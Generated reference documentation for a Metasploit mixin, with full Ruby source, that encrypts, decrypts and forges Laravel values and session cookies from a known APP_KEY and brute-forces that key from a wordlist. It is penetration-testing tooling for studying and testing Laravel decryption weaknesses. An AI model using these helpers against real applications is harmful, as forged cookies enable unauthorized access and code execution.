Module: Msf::Exploit::LaravelCryptoKiller
- Defined in:
- lib/msf/core/exploit/laravel_crypto_killer.rb
Overview
This mixin module provides methods to exploit bad implementations of decryption mechanisms in Laravel applications. This tool was firstly designed to craft payloads targeting the Laravel ‘decrypt()` function from the package `IlluminateEncryption`. It can also be used to decrypt any data encrypted via `encrypt()` or `encryptString()`. The tool requires a valid `APP_KEY` to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example. Original authors of the tool: `@remsio` `@Kainx42` from SynActiv. Orignal python code can be found here: github.com/synacktiv/laravel-crypto-killer Recoded in Ruby by h00die-gr3y (h00die.gr3ygmail.com)
Instance Method Summary collapse
-
#aes_decrypt(encrypted_value, iv, key, cipher_mode) ⇒ String
Perform AES decryption in CBC mode (compatible with Laravel).
-
#aes_encrypt(value, iv, key, cipher_mode) ⇒ String
Perform AES encryption in CBC mode (compatible with Laravel).
-
#generate_mac(key, iv, value) ⇒ String
Generate HMAC with SHA256.
-
#laravel_bruteforce_from_file(value, key_file, cipher_mode) ⇒ String
Uses an opened file containing a key on each line to perform a brute-force attack on a given value.
-
#laravel_decrypt(laravel_cipher, key, cipher_mode) ⇒ String
Decrypts a Laravel ciphered string.
-
#laravel_encrypt(value_to_encrypt, key, cipher_mode) ⇒ String
Encrypts a base64 string as a ciphered Laravel value.
-
#laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode) ⇒ String
Encrypts a base64 string as a Laravel session cookie.
-
#parse_laravel_cipher(laravel_cipher) ⇒ String
Parses Laravel cipher data.
-
#retrieve_key(key) ⇒ String
Parse Laravel APP_KEY value.
-
#valid_cipher?(cipher_mode) ⇒ Boolean
Check if cipher is valid.
Instance Method Details
#aes_decrypt(encrypted_value, iv, key, cipher_mode) ⇒ String
Perform AES decryption in CBC mode (compatible with Laravel)
61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 61 def aes_decrypt(encrypted_value, iv, key, cipher_mode) # Check cipher mode unless valid_cipher?(cipher_mode) vprint_error("Cipher is not valid: #{cipher_mode}") return end # Create AES cipher in CBC mode cipher = OpenSSL::Cipher.new(cipher_mode) cipher.decrypt cipher.key = key cipher.iv = iv # Decrypt the value cipher.update(encrypted_value) + cipher.final rescue OpenSSL::Cipher::CipherError => e vprint_error("AES decryption failed: #{e.}") end |
#aes_encrypt(value, iv, key, cipher_mode) ⇒ String
Perform AES encryption in CBC mode (compatible with Laravel)
32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 32 def aes_encrypt(value, iv, key, cipher_mode) # Check cipher mode unless valid_cipher?(cipher_mode) vprint_error("Cipher is not valid: #{cipher_mode}") return end # Create a new AES cipher in CBC mode cipher = OpenSSL::Cipher.new(cipher_mode) cipher.encrypt cipher.key = key cipher.iv = iv # Padding (similar to the pad lambda in Python) pad_length = 16 - (value.length % 16) padded_value = value + (pad_length.chr * pad_length) # Encrypt the data cipher.update(padded_value) rescue StandardError => e vprint_error("AES encryption failed: #{e.}") end |
#generate_mac(key, iv, value) ⇒ String
Generate HMAC with SHA256
201 202 203 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 201 def generate_mac(key, iv, value) return OpenSSL::HMAC.hexdigest('SHA256', key, "#{iv}#{value}") end |
#laravel_bruteforce_from_file(value, key_file, cipher_mode) ⇒ String
Uses an opened file containing a key on each line to perform a brute-force attack on a given value
177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 177 def laravel_bruteforce_from_file(value, key_file, cipher_mode) if !File.file?(key_file) return nil end File.foreach(key_file) do |line| key = line.strip decrypted_value = laravel_decrypt(value, key, cipher_mode).force_encoding('utf-8') if decrypted_value return { 'key' => key, 'value' => decrypted_value } end rescue StandardError next end nil end |
#laravel_decrypt(laravel_cipher, key, cipher_mode) ⇒ String
Decrypts a Laravel ciphered string
159 160 161 162 163 164 165 166 167 168 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 159 def laravel_decrypt(laravel_cipher, key, cipher_mode) data = parse_laravel_cipher(laravel_cipher) key = retrieve_key(key) begin return aes_decrypt(data['value'], data['iv'], key, cipher_mode) rescue StandardError vprint_error('Your key is probably malformed or incorrect.') end end |
#laravel_encrypt(value_to_encrypt, key, cipher_mode) ⇒ String
Encrypts a base64 string as a ciphered Laravel value
85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 85 def laravel_encrypt(value_to_encrypt, key, cipher_mode) key = retrieve_key(key) iv = OpenSSL::Random.random_bytes(16) # Random 16-byte IV tmp_bytes = Base64.strict_encode64(aes_encrypt(Base64.strict_decode64(value_to_encrypt), iv, key, cipher_mode)) # Base64-encode the IV b64_iv = Base64.strict_encode64(iv).strip # Prepare data for output data = { 'iv' => b64_iv, 'value' => tmp_bytes.strip, 'mac' => generate_mac(key, b64_iv, tmp_bytes.strip), 'tag' => '' # Assuming empty tag } # Return the final encrypted value as Base64-encoded JSON Base64.strict_encode64(data.to_json) end |
#laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode) ⇒ String
Encrypts a base64 string as a Laravel session cookie.
111 112 113 114 115 116 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 111 def (value_to_encrypt, hash_value, key, cipher_mode) decoded_value = Base64.strict_decode64(value_to_encrypt).force_encoding('utf-8') parsed_value = decoded_value.gsub('\\', '\\\\\\').gsub('"', '\\"').gsub(/\00/, '\\u0000') session_json_to_encrypt = "#{hash_value}|{\"data\":\"#{parsed_value}\",\"expires\":9999999999}" laravel_encrypt(Base64.strict_encode64(session_json_to_encrypt), key, cipher_mode) end |
#parse_laravel_cipher(laravel_cipher) ⇒ String
Parses Laravel cipher data
122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 122 def parse_laravel_cipher(laravel_cipher) laravel_cipher = CGI.unescape(laravel_cipher) # Decoding URL encoded string begin data = JSON.parse(Base64.strict_decode64(laravel_cipher)) rescue JSON::ParserError vprint_error('The JSON inside your base64 is malformed') return rescue StandardError vprint_error('Your base64 laravel_cipher value is malformed') return end data['value'] = Base64.strict_decode64(data['value']) data['iv'] = Base64.strict_decode64(data['iv']) data end |
#retrieve_key(key) ⇒ String
Parse Laravel APP_KEY value
143 144 145 146 147 148 149 150 151 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 143 def retrieve_key(key) if key.start_with?('base64:') Base64.strict_decode64(key.split(':')[1]) elsif key.length == 44 Base64.strict_decode64(key) else key.encode('utf-8') end end |
#valid_cipher?(cipher_mode) ⇒ Boolean
Check if cipher is valid
20 21 22 23 |
# File 'lib/msf/core/exploit/laravel_crypto_killer.rb', line 20 def valid_cipher?(cipher_mode) ciphers ||= OpenSSL::Cipher.ciphers ciphers.include?(cipher_mode.downcase) end |